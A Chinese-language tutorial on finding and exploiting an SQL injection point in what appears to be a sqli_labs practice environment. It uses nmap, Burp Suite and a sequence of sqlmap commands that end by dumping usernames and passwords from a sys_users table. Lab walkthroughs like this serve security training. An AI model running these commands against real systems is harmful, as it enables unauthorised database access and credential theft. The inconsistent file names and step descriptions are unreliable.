🎯 什么是“注入点”?
注入点,顾名思义,就是应用程序中可以将用户输入的数据“注入”到SQL查询语句里的位置。它是攻击者与数据库之间的“桥梁”。
🔍 如何“探测”注入点?
“探测”的过程,就是通过各种方法,找到上面所说的“注入点”。这个过程可以手工完成,也可以借助自动化工具。
由此我们将利用抓包软件Burp Suite拦截HTTP请求,然后手动或自动地修改参数值(如插入单引号、SQL语句等),再发送给服务器,通过观察返回结果来探测注入点。

那就跟随我的节奏开始进行操作吧
1、我们进入kali之后先利用nmap -sn来进行网段的扫描,看一下有哪些主机在运行

2、扫描完后我们看到了有5个主机IP,最有嫌疑的是第三个IP 因为其他的IP要不是网关或者是本机的IP,所以我们的下一步就是对第三个IP进行细致的扫描。

3、我们扫描出来了一个80端口,80端口对应的都是web服务,由此我们可以推断这个IP”有内容“ ,如下图所示。

4、我们对访问到的页面,用我们的抓包工具Burp Suite来对它进行抓包。

5、如图所示,我们把抓到的内容先复制下来,再到主文件里创建一个.txt文件;再把复制的内容粘贴到文件里面。

6、开启我们的终端,用sqlmap -r '/home/kali/demo.txt' ;这条命令的目的是使用保存的HTTP请求包,来获取当前正在使用的数据库名。

7、再用sqlmap -r '/home/kali/ldemo.txt' --current-db,这句命令的意思是使用保存在 /home/kali/ll.txt 文件中的HTTP请求,来获取目标数据库的当前数据库名。

8、再用sqlmap -r '/home/kali/ll.txt' -D sqli_labs --tables ,这句命令的意思是使用 /home/kali/ll.txt 中的HTTP请求,列出 sqli_labs 这个数据库中的所有数据表。

9、sqlmap -r '/home/kali/ll.txt' -D sqli_labs -T sys_users --columns ,这句命令的意思是使用 /home/kali/ll.txt 中的HTTP请求,列出 sqli_labs 数据库中 sys_users 表的所有字段(列)信息。

10、sqlmap -r '/home/kali/ll.txt' -D sqli_labs -T sys_users -C username,password --dump ,这句命令的意思是使用 /home/kali/ll.txt 中的HTTP请求,从 sqli_labs 数据库的 sys_users 表中,只导出 username 和 password 这两个字段的全部数据!


这样我们成功的对数据库”脱库“啦!
